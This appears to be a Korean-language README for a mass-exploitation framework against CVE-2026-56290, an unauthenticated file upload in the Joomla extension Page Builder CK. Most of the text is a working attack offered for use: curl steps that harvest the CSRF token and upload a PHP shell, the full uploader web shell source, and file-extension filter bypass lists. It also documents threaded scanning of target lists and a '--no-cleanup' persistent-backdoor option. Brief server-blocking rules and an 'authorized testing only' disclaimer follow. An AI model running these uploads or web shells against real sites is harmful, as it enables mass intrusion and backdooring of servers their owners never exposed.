
📤 CVE-2026-56290를 위한 대량 익스플로잇 프레임워크 — Page Builder CK Joomla의 인증되지 않은 파일 업로드로 인한 RCE
CVE-2026-56290는 Page Builder CK (com_pagebuilderck)에서 발견된 치명적인 심각도의 취약점입니다. 이 취약점은 인기 있는 Joomla 페이지 빌더 확장 프로그램으로, browse.ajaxAddPicture 컨트롤러 메서드가 사용자 제어 가능한 대상 경로로 인증되지 않은 파일 업로드를 허용하여 공격자가 웹 접근 가능 디렉터리에 임의의 PHP 파일을 작성할 수 있게 합니다.
// browse.php 컨트롤러 — 인증 확인 없음
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← 사용자 제어 파일
$path = trim($input->get('path', '')); // ← 사용자 제어 경로, trim()만 적용!
// ... 파일을 $path로 업로드하며 대상 경로를 검증하지 않음
}
path 매개변수는 trim() 정리만 수행됩니다 — 화이트리스트 없음, 디렉터리 트래버설 검사 없음, 인증 게이트 없음. 모든 Joomla 페이지에서 공개적으로 접근 가능한 CSRF 토큰과 결합하여 공격자는 모든 쓰기 가능한 디렉터리에 PHP 셸을 원격으로 업로드할 수 있습니다.
| 벡터 | 심각도 | 영향 |
|---|---|---|
| 인증되지 않은 파일 업로드 | 9.8 (치명적) | 임의 PHP 코드 실행 |
| CSRF 토큰 수집 |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
참고: 버전은
/administrator/manifests/files/com_pagebuilderck.xml의 Joomla manifest 파일에서 감지됩니다. manifest에 접근할 수 없는 경우 스캐너는 기본적으로 대상을 잠재적으로 취약한 것으로 간주합니다.
# 리포지토리 클론
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# 의존성 설치
pip install -r requirements.txt
# 확인
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK 인증되지 않은 RCE | 대량 익스플로잇 및 검증기
-t, --target 단일 대상 URL
-f, --file 대상 URL이 포함된 파일 (한 줄에 하나, #은 주석)
-o, --output 실시간 TXT 출력 파일 (기본값: cve-2026-56290_live.txt)
--json JSON 보고서 파일 경로 (기본값: cve-2026-56290_report.json)
--threads 동시 작업자 수 (기본값: 20)
--timeout 요청 제한 시간(초) (기본값: 15)
--no-cleanup 대상에 셸 유지 (지속적 백도어)
-v, --verbose 상세 엔드포인트 발견 출력
--known-endpoint 발견 건너뛰기: 작업,파일매개변수,폴더매개변수
# 단일 대상
python cve_2026_56290.py -t https://target.com
# 파일에서 대량 스캔
python cve_2026_56290.py -f targets.txt
# 사용자 정의 출력 + 상세
python cve_2026_56290.py -f targets.txt -o results.txt -v
# 셸 유지 (지속적 백도어)
python cve_2026_56290.py -t https://target.com --no-cleanup
# 알려진 엔드포인트로 발견 건너뛰기
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# 주석 및 빈 줄은 무시됩니다
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5개 대상 | 20개 스레드 | 정리=예
실시간 TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [RCE 확인됨] 12.4s
PBCK: 3.4.7 [취약]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
셸: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
사용법: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [패치됨] 3.2s
✅ https://target-vuln2.com [RCE 확인됨] 15.1s
PBCK: 3.1.0 [취약]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
셸: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
사용법: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
스캔 요약
==================================================
전체 : 5
✅ RCE 확인됨 : 2
⚠️ RCE 실패 : 1
🛡️ 패치됨 : 1
🔍 차이 필요 : 0
❌ Joomla 아님 : 0
⏭️ 구성 요소 없음 : 1
💥 오류 : 0
==================================================
1단계 — CSRF 토큰 수집
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
2단계 — PHP 셸 업로드
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
3단계 — RCE 확인
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP 셸 출력, 코드 실행 확인
스캐너는 exec(), system(), eval()이 필요 없는 자체 포함 업로더 셸을 배포합니다:
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
셸 기능:
f=@file을 통해 추가 파일 업로드?cleanup=1을 통해 자체 파괴┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
스캐너는 대상당 시간 예산(15초)을 사용하는 계층형 무차별 대입 방식을 사용합니다:
각 조합: .txt 프로브 업로드 → GET으로 확인 → 성공 시 일치. 확인되면 즉시 반환합니다.
CKFile::makeSafe()는 일부 구성에서 .php를 차단합니다. 우회 전략:
계층 1: 빠름
php, PHP, pht, phar
↓ (차단 시)
계층 2: 대소문자 변형
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (차단 시)
계층 3: 대체 핸들러
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (차단 시)
계층 4: 이중 확장자
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (차단 시)
계층 5: Windows 트릭
php., PHP., php. , php.SWF
Joomla의 CSRF 토큰은 모든 페이지에 포함됩니다 — 홈, 로그인, 등록, 연락처 양식, 관리자:
CSRF_PAGES = [
"", # 홈페이지
"/index.php?option=com_users&view=login", # 로그인
"/index.php?option=com_users&view=registration", # 등록
"/index.php?option=com_contact&view=contact&id=1", # 연락처
"/administrator/index.php", # 관리자 로그인
]
패턴 A — HTML 숨겨진 입력: <input type="hidden" name="<hex32>" value="1">
패턴 B — JSON 구성: "csrf.token":"<hex32>"
1단계 — HTML 지문 (빠르고 확실)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/2단계 — 관리자 패널 프로브 (대체)
/administrator/ 페이지 가져오기name="username", mod-login-, administrator/templates/계층 1 — HTML 강력 지표
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
계층 2 — HTML 약한 지표 및 확인
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
계층 3 — 직접 파일 프로브 (PBCK가 홈페이지에 없는 설치 감지)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Page Builder CK를 최신 패치 버전으로 업데이트
# 확인: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — 업로드 컨트롤러에 대한 인증되지 않은 접근 차단
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# media/의 .htaccess — PHP 실행 비활성화
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# 자체 인프라 스캔
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 교육 및 승인된 테스트 목적으로만 사용
이 소프트웨어는 교육 목적 및 합법적인 보안 연구를 위해 독점적으로 제공됩니다. 다음 사용자를 대상으로 합니다:
- 🛡️ 보안 전문가가 승인된 침투 테스트 수행
- 🏢 조직이 자체 Joomla 인프라 감사
- 🔬 연구원이 취약점 익스플로잇 기술 연구
- 🎓 학생이 웹 애플리케이션 보안 학습
❌ 다음을 위해 이 소프트웨어를 사용할 수 없습니다:
- 명시적인 서면 승인 없이 컴퓨터 시스템에 접근
- 귀하가 소유하지 않은 시스템을 손상, 파괴 또는 방해
- 모든 종류의 불법 활동에 참여
⚖️ 법적 고지
컴퓨터 시스템에 대한 무단 접근은 다음을 포함하되 이에 국한되지 않는 법률을 위반합니다:
- 미국: 컴퓨터 사기 및 남용 법안 (18 U.S.C. § 1030)
- 인도네시아: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 유럽 연합: 지침 2013/40/EU
- 영국: 컴퓨터 남용 법안 1990
저작자는 이 도구의 사용으로 인한 모든 오용, 손해 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대해 전적인 책임이 있음을 인정하고 모든 관련 법률을 준수하는 데 동의합니다.
⚡ 보안 연구 커뮤니티를 위해 정밀하게 제작됨 ⚡
Joomla®는 Open Source Matters, Inc.의 등록 상표입니다.
이 프로젝트는 Joomla, Open Source Matters, Page Builder CK와 제휴하거나 보증되지 않습니다.
| 업로드 체인 활성화 |
| 정보 노출 | 5.3 (중간) | 확장 프로그램 버전 지문 확인 |
| Page Builder CK 버전 | 상태 | 참고 |
|---|
| 3.1.1 이하 | 🔴 취약 | 인증되지 않은 업로드 확인됨 |
| 3.4.10 이하 | 🔴 취약 | 분석에 따른 확장 범위 |
| 3.5.10 이하 | 🔴 취약 | 일부 패치된 변형이 있을 수 있음 |
| > 3.5.10 | 🟢 패치 가능성 있음 | manifest XML로 확인 |
🔍 정찰
|
💀 익스플로잇
|
| 계층 | 작업 | 파일 매개변수 | 폴더 매개변수 | 대상 경로 | 총 조합 |
|---|
| 계층 1 (확인됨) | browse.ajaxAddPicture + 3개 | file, Filedata | path, folder, dir | 상위 4개 PBCK 디렉터리 | 96 |
| 계층 2 (전체 그리드) | 12개 작업 | 4개 매개변수 | 5개 매개변수 | 20개 이상의 경로 | 4,800+ |
| 리소스 | 링크 |
|---|
| NVD 항목 | CVE-2026-56290 |
| Joomla 보안 | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP 파일 업로드 | 제한 없는 파일 업로드 |